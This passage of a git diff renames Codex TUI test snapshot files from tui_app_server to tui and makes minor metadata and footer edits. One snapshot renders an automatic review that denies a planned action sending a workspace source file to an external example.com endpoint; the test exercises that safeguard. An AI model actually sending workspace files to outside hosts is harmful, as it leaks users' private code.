similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_long.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_long.snap similarity index 91% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_long.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_long.snap index f04e1f078a..44ed1f401c 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_long.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_long.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 495 expression: lines_to_single_string(&aborted_long) --- ✗ You canceled the request to run echo diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap similarity index 99% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap index d35cb17597..5aee3b2846 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap @@ -3,4 +3,3 @@ source: tui/src/chatwidget/tests.rs expression: lines_to_single_string(&aborted_multi) --- ✗ You canceled the request to run echo line1 ... - diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_approved_short.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_approved_short.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_approved_short.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_history_decision_approved_short.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_modal_exec.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_modal_exec.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_modal_exec.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exec_approval_modal_exec.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__experimental_features_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__experimental_features_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__experimental_features_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__experimental_features_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step1_start_ls.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step1_start_ls.snap similarity index 71% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step1_start_ls.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step1_start_ls.snap index 588a9503eb..a69fccd302 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step1_start_ls.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step1_start_ls.snap @@ -1,6 +1,6 @@ --- source: tui/src/chatwidget/tests.rs -expression: blob1 +expression: active_blob(&chat) --- • Exploring └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step2_finish_ls.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step2_finish_ls.snap similarity index 70% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step2_finish_ls.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step2_finish_ls.snap index 492e8b7708..e7155b8453 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step2_finish_ls.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step2_finish_ls.snap @@ -1,6 +1,6 @@ --- source: tui/src/chatwidget/tests.rs -expression: blob2 +expression: active_blob(&chat) --- • Explored └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step3_start_cat_foo.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step3_start_cat_foo.snap similarity index 75% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step3_start_cat_foo.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step3_start_cat_foo.snap index 2ce4170929..6ff2edef8e 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step3_start_cat_foo.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step3_start_cat_foo.snap @@ -1,6 +1,6 @@ --- source: tui/src/chatwidget/tests.rs -expression: blob3 +expression: active_blob(&chat) --- • Exploring └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step4_finish_cat_foo.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step4_finish_cat_foo.snap similarity index 74% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step4_finish_cat_foo.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step4_finish_cat_foo.snap index 9e29785f71..de15e7ca24 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step4_finish_cat_foo.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step4_finish_cat_foo.snap @@ -1,6 +1,6 @@ --- source: tui/src/chatwidget/tests.rs -expression: blob4 +expression: active_blob(&chat) --- • Explored └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step5_finish_sed_range.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step5_finish_sed_range.snap similarity index 74% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step5_finish_sed_range.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step5_finish_sed_range.snap index 296b00f905..de15e7ca24 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step5_finish_sed_range.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step5_finish_sed_range.snap @@ -1,6 +1,6 @@ --- source: tui/src/chatwidget/tests.rs -expression: blob5 +expression: active_blob(&chat) --- • Explored └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step6_finish_cat_bar.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step6_finish_cat_bar.snap similarity index 76% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step6_finish_cat_bar.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step6_finish_cat_bar.snap index 55fa979123..2a8ed11b7f 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step6_finish_cat_bar.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__exploring_step6_finish_cat_bar.snap @@ -1,6 +1,6 @@ --- source: tui/src/chatwidget/tests.rs -expression: blob6 +expression: active_blob(&chat) --- • Explored └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_good_result_consent_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_good_result_consent_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_good_result_consent_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_good_result_consent_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_selection_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_selection_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_selection_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_upload_consent_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_upload_consent_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_upload_consent_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__feedback_upload_consent_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line_without_name.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line_without_name.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line_without_name.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__forked_thread_history_line_without_name.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__full_access_confirmation_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__full_access_confirmation_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__full_access_confirmation_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__full_access_confirmation_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap similarity index 83% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap index ea71ac4ff8..6aeb8c3a4a 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: term.backend().vt100().screen().contents() --- ✔ Auto-reviewer approved codex to run rm -f /tmp/guardian-approved.sqlite this diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap similarity index 75% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap index 15fe7dc140..5cc6b31dac 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap @@ -1,15 +1,7 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 9085 expression: term.backend().vt100().screen().contents() --- - - - - - - - ⚠ Automatic approval review denied (risk: high): The planned action would transmit the full contents of a workspace source file (`core/src/codex.rs`) to `https://example.com`, which is an external and untrusted endpoint. @@ -22,4 +14,4 @@ expression: term.backend().vt100().screen().contents() › Ask Codex to do anything - ? for shortcuts 100% context left + gpt-5.3-codex default · 100% left · /tmp/project diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap similarity index 84% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap index a8a3b303b2..b5fba29047 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: rendered --- • Reviewing 2 approval requests (0s • esc to interrupt) diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__image_generation_call_history_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__image_generation_call_history_snapshot.snap similarity index 87% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__image_generation_call_history_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__image_generation_call_history_snapshot.snap index e268c2ef22..452834c96b 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__image_generation_call_history_snapshot.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__image_generation_call_history_snapshot.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 5889 expression: combined --- • Generated Image: diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_clears_unified_exec_wait_streak.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_clears_unified_exec_wait_streak.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_clears_unified_exec_wait_streak.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_clears_unified_exec_wait_streak.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_exec_marks_failed.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_exec_marks_failed.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_exec_marks_failed.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_exec_marks_failed.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupt_preserves_unified_exec_wait_streak.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_preserves_unified_exec_wait_streak.snap similarity index 77% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupt_preserves_unified_exec_wait_streak.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_preserves_unified_exec_wait_streak.snap index b3bbb50088..bf70c40460 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupt_preserves_unified_exec_wait_streak.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupt_preserves_unified_exec_wait_streak.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: snapshot --- cells=1 diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_error_message.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_error_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_error_message.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_error_message.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_pending_steers_message.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_pending_steers_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_pending_steers_message.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__interrupted_turn_pending_steers_message.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__live_app_server_command_execution_strips_shell_wrapper.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__live_app_server_command_execution_strips_shell_wrapper.snap similarity index 66% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__live_app_server_command_execution_strips_shell_wrapper.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__live_app_server_command_execution_strips_shell_wrapper.snap index f8d81249fd..416b5558fd 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__live_app_server_command_execution_strips_shell_wrapper.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__live_app_server_command_execution_strips_shell_wrapper.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: blob --- • You ran python3 -c 'print("Hello, world!")' diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__local_image_attachment_history_snapshot.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__local_image_attachment_history_snapshot.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__local_image_attachment_history_snapshot.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__local_image_attachment_history_snapshot.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__mcp_startup_header_booting.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__mcp_startup_header_booting.snap similarity index 87% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__mcp_startup_header_booting.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__mcp_startup_header_booting.snap index 6074ed1f20..06e47fc82d 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__mcp_startup_header_booting.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__mcp_startup_header_booting.snap @@ -8,4 +8,4 @@ expression: terminal.backend() " " "› Ask Codex to do anything " " " -" ? for shortcuts 100% context left " +" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap similarity index 93% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap index 56dff7b5f0..3deb2f9656 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_picker_filters_hidden_models.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 1989 expression: popup --- Select Model and Effort diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_selection_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_selection_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__model_selection_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap similarity index 93% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap index 0586c4db63..0d57fceac9 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__multi_agent_enable_prompt.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 6001 expression: popup --- Enable subagents? diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_after_mode_switch.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_after_mode_switch.snap similarity index 86% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_after_mode_switch.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_after_mode_switch.snap index f3e537cfcb..9cc7afa1f5 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_after_mode_switch.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_after_mode_switch.snap @@ -1,6 +1,5 @@ --- source: tui/src/chatwidget/tests.rs -assertion_line: 7963 expression: "lines_to_single_string(&cells[0])" --- • Permissions updated to Full Access diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__personality_selection_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__personality_selection_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__personality_selection_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__personality_selection_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_no_selected.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_no_selected.snap similarity index 100% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_no_selected.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plan_implementation_popup_no_selected.snap diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugin_detail_popup_installable.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugin_detail_popup_installable.snap similarity index 91% rename from codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugin_detail_popup_installable.snap rename to codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugin_detail_popup_installable.snap index 487141a2ae..b9e5683c46 100644 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugin_detail_popup_installable.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugin_detail_popup_installable.snap @@ -1,5 +1,5 @@ --- -source: tui_app_server/src/chatwidget/tests.rs +source: tui/src/chatwidget/tests.rs expression: popup --- Plugins diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plugin_detail_popup_installed.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__plugin_detail_popup_installed.snap similarity index 89% rename from 